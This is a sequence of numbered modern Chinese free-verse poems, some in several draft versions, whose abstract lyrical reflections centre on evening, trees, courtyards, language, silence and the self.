说，追赶不上它那行走的脚步。 说和那脚步的混合，我静寂的判断 我听到了随后声音传来， 为抒情之夜，之后大失所望的沉睡 当一切都在梦里面。有一些没有动过的 酒在桌子上面， 他们在1173 《他们在》 他们在，他们的不在之中。 后者修辞身份的真相， 他们在，那前方由他们并不知的 人的难以接受之外。不是那距离 谈论那距离:我们距离着那里。 世界是最广阔的，一个小的 事情，越来越因，任谁都能 磨灭而像一个点。 我被勾起的良心消失的很快的 论断，我的去到了别的地方 才好来关心自己的良心。 我无法转过头来，我身怀自私 的本质。时间的钟声敲响了， 在一座桥上。我熟悉它， 桥梁两边的事物。 半坡1174 《半坡》 来吧，借着这轻声细语。 如果没有。同样借着这 已经变作失约的语气， 让我们谈论的，永恒的 在下一天。 \/ 而萦绕明天的事物，此刻正走动 朝向，随着我扭动而同样震颤的草。 走向哪里？半坡上，遥远的南方 曾经诞生有关于它倾斜如同 吟唱的爱情歌谣。 \/ 傍晚沉落，一对丽人儿 命运多舛的生命。 从羊群般的啃食青草开始。 从贫穷的屋舍走出， 遇见了披着美丽的伪装的衣裳。 半坡二1175 半坡 《半坡》 来吧，借着这轻声细语。 如果没有。同样借着这 已经变作失约的语气， 让我们谈论的，永恒的 在下一天。 \/ 担忧的我，存在于 某个地方，有着美丽的阴影 这是否能够长久，一个问题， 天长地久。一个空壳的问题 像一座可以住人的房子， 在它们田野一般最初的时刻。 \/ 被称作了简陋，被沉默的说出。 阴影一般的，如回忆的最初的 事物。当它朝向下， 在那些这里，称作还没有沉默 和回忆的地方。 \/ 我提出，像人类提出了一个问题。 半坡三1176 半坡 《半坡三》 来吧，借着这轻声细语。 如果没有。同样这失约的语气 我注目的与我并不是同一个的 在它之中仿佛仍旧有一种旅途 涉及到了过去，在它的外界的我 说出，描述以“自己”的我的这一个。 当这些声音从我身边离开 我才听到了它。经过了漫长的旅程 就像是宿命一般，来到了山顶的人 回到它那出发之地。到达声音的 发出，声音也标志着它。我， 为什么却在傍晚身影单薄， 我的思想即勉力的维持于它 在单一的意思那更多里，像 所向的这一种被我称作了单一 或者自己。在我回忆那遗忘时。 庭院1177 庭院 《庭院》 以傍晚等待夜晚。像一种方式 对于人还没有穷尽。坐在小马扎上， 像它因为傍晚斜影摇动地面上的叶子， 而守旧更加理直气壮的部分。 我心中正义的愤懑， 突然像一种掩藏。它对于掩藏 大地上的，当大地从那言语 作为发端和开始，向着被预示了的 匆匆结束，然而这是还没有发生的 一切。我睁大眼睛，以便平衡 昏暗与光线之间，景物离去的意图 我追寻，从一个最初荒诞开始 最初短暂的语言只可能是一句:“想法” 我破开过树木，但却是隔着江水而干枯的 我在向死亡致意，如今却听不到了那声音。 如今不是矛盾，而只是对于赞美的拒绝 当那只是矛盾的单一的一方，像它 正准备开口，因为没有组织好语言而 说话，像跃跃欲试的说话的念头来自于 内心的道德。于是，它多么的想要 卯足了力气往前跑。往夜晚，那夜的 深处称呼的“我”。陡然，一颗星 来自于我突然入梦，或者一个树木， 在庭院里面发狂，脱去了水分，变作了我。 需要这星，于是是，想法之后的需要这一颗星。 这些使得我事先的了解如同黑夜， 我们走动，我适应你，直到你同理。 伟大的树木的影子，都是具有的。 当它们缺失，那么追寻着的大地被脚步踩着。 身前茶烟袅袅，耗尽了所有的文字， 只是一瞬间。那一瞬间属于这升起。 庭院二1178 《庭院二》 伟大和哲理，在倾覆这里 无法有一个具体的位置的倾覆。 就好像是在天空和云端。 人的高处的被泯灭， 当人的心灵的某一部分被残留 我听见了那余音，残留的 热爱于大地，认定世界充满了矛盾 不可消退，期待消退， 在我和黑夜慢慢降临里面， 残缺以沉默之声，被称作了 人心的某一部分。呵，我觉得 被称作了灵h的是人其他的部分 更大的部分——我已经因此 在一个草垛，与他交谈。我忽略了 身边的枯草，余温的岩石，地上密布 青草。忽略自己的是我们的心灵， 幽魂通过毫无逻辑，这白天人类 强力的烙印，干涸的心灵河床一般。 我猛然清醒，用焦急丈量夜晚的长度， 这是它唯一留下的事物，我像一个 空瓶子，这也是我唯一的记忆。 本能的躯体，甚至于是伟大而高尚的灵魂。 庭院三1179 《庭院三》 我在你的那里，那些 周围的都属于你的了。那里 我看到，未来还是可以像现在一样 自然的持续。植物也可能被暗示了。 甚至光线，如果植物们在需要阳光的 山坡上面，而此刻我隐隐感觉到的 却是残缺的它们。我甚至感觉到了 光芒也被暗示，我现在才把它说出来。 因为，被感觉感觉到了的我的 这一感觉，我好奇时的这一感觉。 我的语言是否被它斜照着呢， 问题在于我对于此的确定， 我觉得你，一棵面前的树，就是它 美丽的面纱。 早晨1180 《早晨》 当我劳作，早晨身影忙碌。 依然无法被自己面对面的看到。 思绪沿着，偶然遗留的一条小径。 我想起镜子是碎的了。它照射到 一切表面，产生阴郁或者反光。 人会使用暗淡的词语来做出 符合早晨的判断。并且推开了 在傍晚再次回来的门。同一扇， 因此包含了矛盾和冲突的。 只是在人类的沾沾自喜，欢乐的 短暂中。那束目光的审视，来自 沉默中的言说。那些手的抚平的 意图也来自于那里。玻璃镜面 像一个仅仅框定在人类自身之中的 因果和利害关系的取舍。它掉落。 它剥落室内的事物，墙壁，和红漆块。 并非那些为了距离之遥而秋水般剥落， 也是那些时刻，即使它们还没有到来。 是它们有关的形容词，我看到一团幽影 在我面前晃动。存在在每一个事物上面。 它的表面有一团只有早晨才存在的雾气， 被我擦掉了。 傍晚了1181 《傍晚》 太阳光走出自身，向大地溜去。 我不必追求完整，心中并无破碎。 太阳照着我的心灵一样的傍晚。 \/ 重到把大地作为一个归宿 它和我在此不谋而合。 我的不再属于这的念头， 从想法开始那流离失所的它们， 在旷野这一个永恒被谈论， 被寻找的主题上面。 \/ 即使没有一个结果， 即使一切被审判的方式， 其实真正而言是你在它们的耳边 喋喋不休，恬躁。相比而言 谁又因此比每一个夜晚更孤独， 在更加失眠里面呢。 \/ 当我在地面的高低起伏上行走 在低谷，和高处尝试做一个对比。 因此才看到了事物。我离开了 低处一般的表达方式，就像个异乡人 我在这里太久了，屁股生疮。 但愿，如今是他的离开之时，正波浪般 拍打着已在别处的那一个思念着的他自己。 车窗1182 《车窗》 我们不说话了， 秋风与嘴唇相等， 等到一切都起伏，一个 傍晚一致的线条， 嘴唇在等同于万物的时候， 我最后说一句:美丽。 但我不说了，只能 沉入自己微薄的身体， 听着对于它瘦弱的描述， 所发出的声音，如同在下降之中 不断的碰壁，两边是 熟悉又陌生的幽黑甬道， 除了自己我还能去哪里， 于是我在自己之上沉没的 超出了我的想象， 于是我的想象因为一具生命 而扑腾，但还是融入了它所要 顿悟的那鲜活。 苦难与不顺刺激了鲜活， 亡故与熄灭被想象的边界审p着。 我瞥了一眼车窗外的美丽， 作为最开始美丽，和它那又因为我 而美丽了的一次。 湖边的树1183 《湖边的树》 当秋风飘过，近乎于凌冽。 枝头便在人们的语言里面， 把它顺便结了果子出来。 \/ 人们，或者人类， 人或者因为一句这样简单的 话语的惊扰而凌乱了脚步。 \/ 静止与仍旧在晃动，不谋而合。 因为同一条道路，那是果子的投影。 那合符头顶上代表自然的法则。 那人的思绪升起，尝试 对于此种尝试的等待是漫长的， 树下的访客们，深秋里到来。 \/ 入夜，我应该是一棵树。 挣脱了语言，树在湖边孤独。 蜘蛛编织代替了秋叶的网， 枝头上的光秃秃仍旧深入了 秋天的丰富性里面。 湖边的树二1184 《湖边的树二》 湖边的树，山坡上的树 根连着根，庭院和路边的树木 树木因此被雾气包裹着。 从树木上长出了新生， 没有名字，甚至裸露 用树上枝头的叶子来代替， 却没想到了 因为叶子的覆盖，而喜悦降临。 你，无法想象我有多么开心。 因为我也因为这面前的葱茏而 开心到了无法想象。 它们因为我的开心的另一重意思， 作为单一的一个， 因为这个生命和身体。 湖边的树木，月亮投下可以反照的 光芒，它却赠予我礼物。 傍晚的事物1185 《傍晚的事物》 我能想象，想象让它们下降的更深。 想象作为一种方式，在事物的身后。 想象一团类似于黑夜的雾气， 在人们判断正确里，言说得以成行。 也只是同一个，更是反对 在同一个上更多的猜疑和杜撰。 当不同和差异以同一个。表现的自身 人在一个傍晚的事物上面 行走，他静止，平静，那些 组成了事物的需要人类的参与， 它反射的太阳光，和周围的暗淡 被我们的眼睛看到。 傍晚的事物二1186 《傍晚的事物二》 我能想象，想象让它们下降的更深。 想象下降，它自己在那些阴影里面。 阴影中，声音的内容说着它们的静止。 夜晚继承了白天的相对性。有一个 从彼此之中走出的夜晚。一个彼与此， 言语错误持续存在的夜晚，曾经给予了 我长久困倦的感觉。我无力，身边的树木 就是话语想要表达的意思。像只有一个 可以挂靠在树梢的空壳，言语的钩子。 树下住着近邻的它。我来把这一切杜撰 或者交给黑夜，我来想象这一交给的过程 一棵纹丝不动的树木，如何慢慢消失的。 傍晚的事物三1187 傍晚的事物三 《傍晚的事物三》 我能想象，从这里发散出去 类似于雾气，让它们下降的更深的事物。 当我终于在一种并不满足之下， 对于我接下来的言说也是不满足的。 对于沉默，或者对于身边所能够看到的。 当我到达了一个事物并且不满足以此 ————这样来回忆的我。仿佛一件事情 发生了。如果我把一切都看作灾难， 它们，石头，木头的表壳下，藏着火 火的燃烧也在将什么隐藏。我没有谈及的 傍晚，充满了侥幸。 康涅狄格州1188 《康涅狄格》 他因为无力去拒绝， 而拒绝的发生如同死亡。 在那些因此勾引人的言语中， 我说出的是虚无的意思。 \/ 总要有个内容和前方 现在的我的仿佛永恒的躯壳。 如果没有。这没有和无被促使着 像一棵树木，凋零和幼苗。 \/ 一棵生长在那里的树木 粗壮，面对与它无关的垂思。 衰竭以升起来了的渴望， 作为一个人无力的申诉和辩解 因为无关而被它那阴影所笼罩起来。 康涅狄格1189 康涅狄格州 《康涅狄格》 他因为无力去拒绝， 而拒绝发生的死亡一般。 在那些因此勾引人的事物中， 我说出的始终是虚无的意思 \/ 总要有个内容和前方 现在的我的仿佛永恒的躯壳。 如果没有。这没有和无被促使着 像一棵树木，凋零和幼苗。 \/ 一棵生长在那里的树木 粗壮，面对与它无关的垂思。 衰竭以升起来了的渴望， 作为一个人无力的申诉和辩解 因为无关而被它那阴影所笼罩起来。 秋天1190 《秋天》 秋天事先就长到自己的怜悯之处了， 使的我看到的短促的事物为假。 我看到了假的却在我睁大的双眼中。 有必要丢弃下自己刚刚想要的。 我看到了那短促的事物就是它自己， 我甚至无法言说，它因此而存在。 如果像一个哑巴，只好空张着嘴。 如果可以与言说有了更近的关系。 我的工作是为自己和别人，都一一 涂抹上思想蜿蜒的色彩。在不变上， 我也曾在变幻上。我赞颂自然规律 多种多样，这多种多样的颂歌 怎么也唱不尽。疲倦因为吟唱而不会 真正的到来。这里，是秋风扫落叶后 干净的一块地方。是净土因而最后的 一块污浊。因而我想起了那些从树上 飘落的树叶，与我一样。因为这思想 它有肇事也有平息，它在平息中后悔 如果一切都还没有发生，是那抚平了 一切的它。秋天。 苛责1191 苛责 《苛责》 我要做的事情，跟苛责一样。 仿佛真的因为虚幻和虚假 而一扇钟便不仅仅是敲打， 它猛烈。是白天走路和停驻 一切的倒影，光明在夜晚 泄露了出来。我要看着， 需要保持静默 当苛责的事它已经发生。 如果要我去做那一个被苛责者。 芸芸众生里面到达和离开了我。 永恒在人的身体上面形成了压抑 短暂的顿悟回头迎接它 未来的轻笑。这一条充满了遗憾 的路。苛责这一件在上面 发生，消失的事情。 夜河1192 《夜河》 听以我而无法将它们一一 保留。回声因此就像 位于耳垂的下方。请离开了 从此地。因为一场毫无相关 毫无征兆的危机，正以黑夜 而夜夜响起。向着普遍的夜 便是也向着每一个被嘴唇 惩罚和囚禁之后，向着说出之中 夜晚的普遍。我们都承认， 我们通过那语言来沟通，达成 交易。那人，如果不是你，不是我。 那唯一的异质。和宏观的整体。 只有世界这一个，它的回声舒缓。 但我质疑目光依然一路尾随而下 充塞我耳际，我产生了所厌倦的感觉。 回声的河一个又一个不同的 事物组成，在它们对回声的否定之中。 这是一条波光琳琳的夜晚之的河， 因为没有足够的明证，那些被顺手 拿了过来的成为了黑夜。真相是那些 声音因此漂浮在黑暗水流的正上方， 以仿佛正有什么坠落的耳垂为界限， 彼此都息息相关着。 庭院1193 《庭院》 不必担心道德，分忧还不是时候。 我们已经分摊了眼前所看到的， 我们已经是它因为说出而变得 如同真相一般。那些别的事物 将会不断的被提及，它们因此 没有一个清晰的轮廓。仿佛痛苦 的居所，而人的那一些却从未曾 减少分毫。没有什么可以令得变居 不动，即使词语对于它的表达 和晃动，使得我误以为确实那有了 一个庭院中树木的形象。我因此 以为那是一个因为人的主动性而 成为了谜的东西。它拥有名字的 差异，话语里面因此在永恒以人 生命的长度和激情来寻求着自我。 若是那被单列出来称作了本质的时刻， 它披着如此的难以分辨的外表，就是 我亲自给它披上的。 回声1194 《回声》 一个回声，要求着失眠的人。 像长久注视着平静的眼睛， 已经麻木的是了另外的一双。 梦发生在一个人的身上， 它在额头部位，置放上了这种 事先就存在的矛盾和因果。 如果我们以梦境和失败的后果 在标准的唯一性之中，那些 趋势着我们去谈论，所谈那种 没有止境。当它慢慢的作为了 最后的本质和背景。我寻找在于 其中遗失掉了的词语，由这种 寻找所组成的这种遗失，我的手 指着黑暗里面的空气，相似性 组成了这个夜晚，组成了我的语言 当它习惯于避开错误的时候。 远方1195 《远方》 从走吧开始，语气般的远方 朦胧如一场雾气。使我语言的 持续像一支天上倾斜的风筝。 太快了，也是那我无法描述的。 就这样，在汽车，轮渡， 火车都一一的紧紧抓着 语言的无用，近乎无效了。 我听到铁板构成的地面，人走动 在上面东来西去发出了踢踏声。 语言的源泉，生生不息代替了 杂乱和慌张，被替换的还有 前途未卜，一个人的命运。 傍晚美丽的夕阳照着，它像 可以穿透一切它所洞察到的。 ———整个黑夜为它所穿透， 宏大的图景曾经发生过的破碎 如果我模糊，对于此的记忆 依然可以作为一个因不必言说而 新的起点，它的垮塌就像火车 走出一座高山时，太阳光突然重现 的景象。 路途1196 《路途》 路途漫长的倒影，不在 天空，当它不在任何的某一个 回荡着与此有关声音和讯息之地。 如同那正是它永远如谜一般的 另外的，名字在自己阴影中其他的 意思。在我静止的被等待时，心中 的这一份异样感觉。这是与它 的彼此拥有，在相同的意思里面。 我伸出来的手，把什么遗失掉了。 虚无之中的增添，丰富的夜晚的黑色。 赞美的诗篇和人的，我的判断，我们 吟唱，幻想那些意外可以真正的发生 在没有意外的大地上。这是大地的 另外的一个地方，紧随着有关大地的 称谓和呼唤。 路途二1197 《路途二》 路途漫长会产生不在天空中的倒影。 它的不在，存在于任何的一个回荡着 与此有关声音与讯息之地。矛盾之物 把声音当做了故乡，捡起树上所掉。 把故乡当做声音所组成，从亲吻的这一 验证，在人类的爱与哀愁。孤独的人， 代替了我的人，我是那个在自己内心 寻找着幸福的人。道路上映现着人类 群体的足迹，包括了因为我的它的具体 和鲜活。包括那走的更远而被称作了孤独 者，他因为对于此的逃遁而成为了他自己。 而这只是一个短暂里面的真理，它因此 真理于被其他繁多的蜿蜒和曲折的围绕。 它真理于人在夜晚的某一个地方，当木柴 燃烧的光芒闪亮，它与一个异乡人共用了 一副脸庞。他的正是那我想要去做的赞颂， 正如愈发的明显而阴雨天气也不会将它们 消弭掉，那些从此而来的阴雨的天气，进而 明日的天气。那今夜的月朗星稀，山坡上的 人类。吃着背囊中的干粮。人类的整体 穿越群星的命运，没有什么是多余的， 群星，在提及的时候，在强调里面因为繁多 而明亮和困难的语言的星辰。也照亮了 那些尚且没有在命运知之中，而以探索的 形式即将在这个夜晚坠入其中的那些。 尚且1198 《尚且》 没有结束和没有完成的没有。 在没有中，需要的更加确定。 需要人就是需要确定的语气， 当没有就是没有尽头的事物。 所以人在人有理由的质疑之中， 一个问题一般的形象，在早晨， 更多是傍晚快要日落的时分。 它从我仰望而注目中更高的位置， 相比于此就像隐隐有一种相对于 悬空而言，坠落的修饰和可能。 当言说切身实地的表达，而人则是 借此把自己从错误中摆脱，旁观者 却始终没有离开熙熙攘攘的人群。 人群仍旧讨论着，随着时间的推移 言语成为了向下坠落的，疑问化身。 作为一个疑问，它是永恒的。当它 不作为此而更加的难以改变，寻找 之中替换的困难加重了它。作为永恒 它以人的沉默来言说，作为恒久言说 来表示的，永恒之物在于矛盾之中。 那是我从这里出发，通过了傍晚的余晖， 想要认定一切有着更加难以猜测的深度时。 墓碑1199 《墓碑》 我想去死中， 死中听人讲活。 \/ 去一切这世上， 最为阴郁也最为沉默的 墓碑。 \/ 有时也有光亮的部分， 墓碑。 当它以夫妻二人的陪伴 和合葬。 \/ 当一场古已有之却早已逝去的 爱情， 它扑向了我。 如果没有1200 《如果没有》 如果没有的直到是了瞬息 和片刻，在我们的语言之中 通过了它。一个人便也不可避免的 在傍晚时分通过了一个悠长的洞窟。 一句话的威力，一个词语 在泥土的墙壁和人的嘴唇上存在。 我在空旷，或是室内和床榻， 当它的松软将我的思索萦绕，托举 那是在于一直不停歇的寻找本身 作为那一个结果，当它本身残缺 被称之为并不完美，它来自于 距离这空旷之地稍微远一些的山丘 那悠长的甬道，我们曾经探身其中 对于我们的思而言，那冰凉的水汽 落下来。渗透进了我们在空旷与 狭义之间的矛盾的塑造之中了。 钟摆1201 《钟摆》 事物移动，不停歇的投下了 名字叫作事物的这个身影。 它包括了我对于此的称呼， 其中包括我的被找寻到了。 在山村，所经历粗野的寒暄。 相对于过去而言，也包括了 该以何种方式存在的此刻。 因而，充斥着未来般的话语 它们赤裸的形象在我内心存在。 而我分明就是它来回的动荡， 钟表盘上面，钟摆缺失。时间 仍旧准确意味着时间更加的准确， 以至于精准的要求着自己。 我在表面看不出任何的端倪， 多次的查看是什么意思。 我是一个自问自答的人， 黑暗使得这像一个陈述 为了这种完整性，它来自于 残缺和一时之间的冲动和蒙昧。 永远轮转的宿命来表示钟表 如果下一次我还是如此的表达 它对于此也平常，自然的指示了。 夜晚的太阳1202 《夜晚的太阳》 从词语到物，从物在自己 光亮里面的行走，或者黑暗。 从同一的道理在自己因为人们 和人们的差异与不同，从人群中离开 到达了那物的不可能，是否就可以 因此以意义相称。言语不是陌生的事物 不是毫无相关于某一种突兀与猝不及防。 当那言语为物的时候，当日子众多。 我多么渴望去拥有一种真正的毁坏， 而借此的生命怀着亏欠和坦然，这是在 慢慢发生的一切，直到它们的不可改变。 直到了我那谈起的命运的道路， 实则出自于你的嘴里面，你 这样子的一个起点。我的无法确知 却由此来自于了你那内心深处的朦胧。 所以是你和你内心深处的密不可分。 但生命的提法并不总是要与你相近， 就像今天与昨天割接，又与明天亲近。 \/ 在夜晚的晚上，便使得了想起了太阳的， 夜晚的这是，一个还没有结束的幻象。 我总是想要，我总是想要去的地方， 是去告诉一些什么的言语的表象那里。 也是世界的表象。因而无声。它借了 我的肢体以行，而留下了闲置，却被我 称作了静止。一切出自于生命的，四肢 和头颅，躯干。直到将要我在一个身体 上面的人的那里，此中为寻找一种繁多的意外 和稀少。实际上未曾发生，实际上的发生 是我，因为此种的而重新回了来。 就像我在泥瓦匠被我注视的比喻里面， 同样的因此像一个将词语与水泥，石灰 都一一彼此混合的同伙。困难为困难制造的 乐章，通过了它们所吟唱的 室内外的众多的事物。 \/ 而第二天我因此又不得不重新回到了那里， 同样的问题便是因为寂静无声而提出的意思。 待解决的虚像，于是是在，是，和此蒙蔽起来 了的“那些”。是一双嘴唇，是通过痛觉和味觉，是吧。而人人相同，人人相互联系。你躲在 哪里而成为了躲藏，你直到沉默了多久 夜晚才被抹上了悬疑的颜色。 今晚这黑的彻底，今晚我只要拿过了太阳 二字，一整个白天的记忆就会是 燃烧殆尽中讨论之所无用功的含义。 今夜，我突然怕月朗星稀，怕的一切 使得夜晚在不去查看的室外。有人走出， 不知道是否是你。 豢养1203 《豢养》 我要豢养你的十次，那微笑的来源。 无论成功与否，你便微笑。 我要的正在，于结果的隐隐浮现那里。 却借着高枝而更好的隐藏起来了。 我要一个失温因而失去了温度，短时间内 无法回暖。是这样子的一个索求，我要。 是这样的要求需要我，我也需要去把它 慢慢平复，我要求的因成行本身充满不确定性。 那一些要求我的会一直要求着我，直到 是乌鸦，雀鸟，青藤，众多的事物。 我要一个世界，一个石头如此的说来。 直到走到沉默的一个语言。 月光1204 《月光》 另外的一个人意味着别处，很远。 另一个人的身体上面存在的属性。 当现实的垮塌，我在言语中弥补它。 那些我喜欢的事物有着外表的坚固和硬朗。 我的在于其上的欢喜，被谈论的自己。 一个人远离开那些没有事物，没有空气 和水分子，没有风在上面、四周存在的地方。 作为这难以言说形象，就是如此的语言。 它就是那个事物时，只有月光照着它。 我在跋涉，沉默保持着让我陷入其中的形象。 画家柯罗1205 《画家柯罗》 柯罗有关于成熟过去了之后的 用画作来尝试，我们的想法落在了纸上 以此流传。就像未来作为一个 向那名字之处前进之物。 一览无余，将我们所身处的空虚 尽量弥补一点吧，画家。 无题1206 《无题》 越陷越深，陷落到对于此我的发问。 像走进其中，感到暮色时分一道 寂静的暮色长廊。四周悄无声息 但我知道的事情已发生。这是它 在为寂静所做的祷慰之词中的存在。 如同运动，更加的具体如同倾倒。 我在树木的阴影中回想到了，经由 回想困难时刻的流逝这才得以像是， 事实上以可能性所为自己弹奏的歌曲。 我的正在陷落的语言如同一种辩解 有很多事物在它们并不存在的我的所不能 看到的面貌上面，以这种方式所作的 就像那被遮盖起来的绝大部分。与明亮的 地方一同属于景色和风景。包括我试图 以揭开所伴随着极大的热心，为因此 含混和对于它们已经造成的打扰，这也 在被包括的行列里面，我像因此时间中的 一阵莫名的波纹。 堤坝1207 《堤坝》 通过本身就是一种途径， 如果它不被沉默，和其他的形式 所遮蔽，以提问的方式。 以解决，我曾经看到了它的一部分 那与其他:山野，堤坝等所共同的拥有。 我没有看到这些看，像所看到 像一种收获的结果，迷惑我作为了 一个过度的人。如果我并不想以后 长久存在于迷蒙之中。或者，即使我 深知到了，恰恰在弦歌于那迷蒙 所以为的未来。它从此刻开始，作为 一个起点。这些在我体内的声音 我的对于此进行的赞歌，依然没有结束 像没有结果的我追问的开始， 附属于那一个莫名事物的起点。 土地1208 《土地》 平常接着普遍，是我们日常所见的那些。 以它们而言的离开，以所产生的距离感。 对最为靠近的人，对他的接近的平静而言。 即使石头整个的就快要贴在他脸上了。他 呼吸出来略带惊慌的气息，也撞击在了石头 表面接着回返。一个整体被他涂抹上寒冷 和恐惧，来源于他的内心。仿佛是这些颜色， 但又会有的新。作为一种旧，那些脱离开来中， 光线才得以通过缝隙照射下来。那时他也想要 看到别的，他的最顽固，像普遍之中对否定性的 寻求，或者作为一个顽固的人，他才得以的所得到。 南方1209 《南方》 所以，最为轻浮的语言常常披着 最为严肃的外观。自我审视和吃 或在饮食之后，才自我审视。情形 是有关于最细腻，是什么的问题。 即使我知道一些反问，和此刻我 自我的鲜活感觉。我觉得在炉火中 有着最后的战争。燃烧在永不会 熄灭的主题上才得以发生。这里是 望乡所在处，同样焦闷所投出乃是 会错误于邮差，虚空中的大雪处， 通过了想象，通过现实中的梦幻 在居所之内为其所作的这称作了的， 思索于歌。 树林1210 《树林》 我落井下石，但同时也在梦的边缘存在。 一个人的时候，一个只能寻求一种落井下石般 自我安慰的存在。他像一个突然的异类， 对于存在而言。像那些话语找到了它，而我 听见了谈话内容，存在着那以悄无的踪迹 而因此正因此通过了静默的面前的昏暗路途 而向着我的达到。一个旁听者。梦境与沟壑现实的 鲜活，甚至更加具体的比喻。甚至我内心比他自己 还要他自己。我知道当他的有关于结束自身一切的 时候，从这里继续开始犹如一个新的起点，一种 连续性，和空白。对于此我是哑舌的。我对于此的 像思绪一般使得那是仅仅只能用来总结和归纳于此 的思绪，带着思绪光泽的它们是思绪的结果。 如果我不停留于此，就是如此的方式，我要说， 我被他们观察着。以他们不知晓我观察于的他们。 或者我回到整个事件的过去因此需要巨大的，要去 克服的自我。那自我，正当它，在我与你之间跋涉 这最为的隐秘者甚至对于此等的称呼也抛弃。 以我们谓之抛弃者的称呼所做出些许的回应， 以整个的隐秘所托举而出的偶然与片缕，在我的 一览无余的眼睛里面却丝毫未变的整体的它们 或者以在傍晚的方式而将那夜的清楚无疑都一一 做出了的表示之时。 南方1211 《南方》 所以，即使轻浮到抵达了的语言的离开。 离开时，将脱下的衣裳重新严肃的披上。 雪花反复落地，北风呼啸，一座旧房子。 像病痛于健康，便只有衰老这途径一条。 以此所隐喻和多接着的隐喻，但并不是 投身于风中，便是见识到了风凌冽的人。 同一个人，来自于他的低头，垂思和饮食。 或之后可在自我审视中的它们的重复， 提了是什么出来。始终为了自我的这种。 仿佛正是我们的命运，当我们正身处于一条 这里和那里，差异与共时之路的存在的道路上 大风中的思绪，才好将我们的回归吹成它逆反 的方向，从离开，怀着以为参透了风，凌冽的含义时。 树林1212 《树林》 我落井下石，但同时也在梦存在的边缘地带。 我已经没有了其他身处异地，方式的可能性。 为此而歌却隐隐传出，飘荡在我的周围。甚至 有些开始怀疑我自己，心中愈发顽固，当确定 正是来自于这怀疑的一撇，又一撇。这时我在 梦境一点点正消失的地带的边缘了，话语因为 那相似性本身的迷惑和消失而如果，我借此依然 清醒。入梦者:帮助梦境推开了的现实的人儿。 在称谓所代表的称谓的意思，是只要去寻找便会 一无所获。对于那些我们仍然试图去言说的 非现实，虚幻的话语上面有一层面纱笼罩， 在梦境，非现实和现实，人的被赠予那里。世界上 最简单的工作是入梦，更是以落井下石的方式。 暮色1213 暮色 《暮色》 暮色就跟土地上所发生的事情一样 土地上暮色沉降，光线变得昏暗。 暮色就像土地一样，因而那些难以 理解的沉降，它正准备因为土地而 通过了它。作为一种可能性的尝试， 而且没准已经失败过了很多次。 把暮色与土地对等，而不是作为同一个 困难发生的时候，我的脑海里面对于 另外一个人对于此理解的费力感同身受。 跟土地与暮色一样，我与他，有着 这种关系的我们。暮色就是一组租的 事物这个样子。如果对保持不变的想法 它们在耐心里面失去，即将是它们最后 时刻的这暮色，通过一声终于了然后的 呼喊而结束了。 台灯1214 《台灯》 抛开而在于其中的抛弃，石头一般。 我们与虚假相近邻，着力点是同一个。 抛开灯盏，已经发生，和定义的尝试。 恰恰当这就是它所照耀的事情时，让 它的离开，直到那离开本身作为了一个 毫无准备的目的地。它的已离开了的自身， 不是它。因作为那尺度，静止以我们发现了 它的方式。我的一声惊呼伴随着世界， 将通过你我眼睛看到的，运动包括在内。 没有意义，表述上的无意义的表述的仍旧 比如将灯盏上似豆油的光芒，视作遗漏，流逝 在于其间的自我反驳愈发像一种看不见， 不可知而一个人脑海中存在的秘密。它与 他脑海中的知晓，在文字对于此的表达之中 同样的陌不相识，形同陌路。 树林1215 《树林》 我落井下石，但同时也位于梦存在的边缘地带。 我，面对着再无其他身处异地，方式上的可能性。 我将借此而隐藏起来了我看到的，那就像是 它们因为静止的不动而被以真的方式所讨论的影子。 讨论在影子与阴影相似所提供出来的其之所导致上。 讨论着因此不能够停歇，却也不能够去借此抵达明天 对于此的讨论。明天与今天天然鸿沟的形成，如果 没有我们的讨论，它就不可能形成而我们因此是 不乐意行走在坦途上的事物，我们相信。我看了一眼 月亮。我相信着我相信的是相信之中的前一个， 在我的被称作命运的相信之中，我的随着天然而 同样飘荡来回的位置。月亮看了一眼深渊般的我， 看到了你，你在倾斜向上的梯形台阶，它长满了青苔 湿漉漉的你也湿漉漉的踟蹰不前。那上面梦幻，天t 的部分。一个被奇妙的看所包裹的月亮，天空和地面 都布满了眼睛的光。 为爱而歌1216 《为爱而歌》 我们一直都在为爱而歌，歌的我们 所不知道的怜悯的，它的那一情形， 对于偶然之间运动的发生。我将静止， 与它相似的事物是沉默。当它们一同 都相对于这无声的爱之音乐。 这就像是它们的所朝向和所发生的具体。 让人不知，已是不可能的事情，从人的 知之甚少出发，则是人的知具体的来到了。 从程度上面的轻微，影响不大来看，共识 于人总是在于针对此试图去如何的摆脱。 人的意识在头脑的杯子里面，半杯水在走动 的晃荡之中。静止途径了一个又一个的街巷 通过静止而因此带来了的街巷风景的不同 通过差异，我是说，旧时的景致。此刻这一 在于因为自身为它的那一面，内容丰富 凌乱，多元而身为了的时刻的此。这时候 我们，你与我，为爱而歌。保持静默。 铁轨1217 《铁轨》 你的梦被我砍掉了一半，一部分 还是梦，被我砍掉的叫做了梦 叫还在延续，还在持续的呼叫， 以梦的自我矛盾的方式。 如果以语言的看似合理合情的方式 就是终止，呵，那不可终止因而此的事实 呵，那语言的不可言说的事实， 急转直下，去到了哪里了。 \/ 梦，华莱士史蒂文斯，如是说。 我说，那一代如今正把准备放下 的方式来拿起，这亲近着冷漠的胸脯 是否因此，或者因为这因而心灵的火热 难以想象的火热，难以想象，它自身没有 发生的难以想象的火热。 \/ 那一代如今沿着时间 铁轨在过去的那， 没有停留的一段。路 因此被沙尘所深埋， 沙尘来自于说出的的语言。 那，“那”是让那。因此得以 是一个故事的那一个。 于是是的不是的那，夜班车 开动，午夜来临了。睡眠的梦的 耳际传来了，它们一次次的 一次次的需要叩响的门铃。 \/ 沿着铁轨，人以不可见之姿。 被首先排除的死亡是死亡的最后。 沿着他们自己在过去说出的语言 走在为未来而过去的这一具体内容的 不可见的涉及上面，一节又一节，铁轨。 傍晚1218 《傍晚》 总以永恒而这样的是了，或者不是。 但那不是深处，水流来自于山谷，很浅。 不需要验证，这些漂浮于其上像空气 一样的验证般的事物。有着了投入空气 之中，宿命再从那里出来。以投入的方式。 我所指的，那是在指向中的。包含了 判断和存在的，以及这以存在之否定 而投入之深以眼睛在看中疲乏的方式。 空气那么丰富，将自己包裹，知道我想法 通过了它的那些时候。 水洼1219 《水洼》 去那里。哪里！言语便那里的产生。 要去的哪里，代表尚且存在的语言。 在有关于活着的表达之中的语言着的。 达到于自己更深之处的它，却可以 仍旧以自身的方式。仍旧以陈旧， 前进、离开等。或许也怀有同样道理。 或许只有这样人才是，在被一一排除 掉了的正是那个排除自身。我们人类 看着世界在一个倒影里面。我靠近 路边一个水洼，我的脸庞映照出来。 水洼另一面的人儿，看着我思维的人儿。 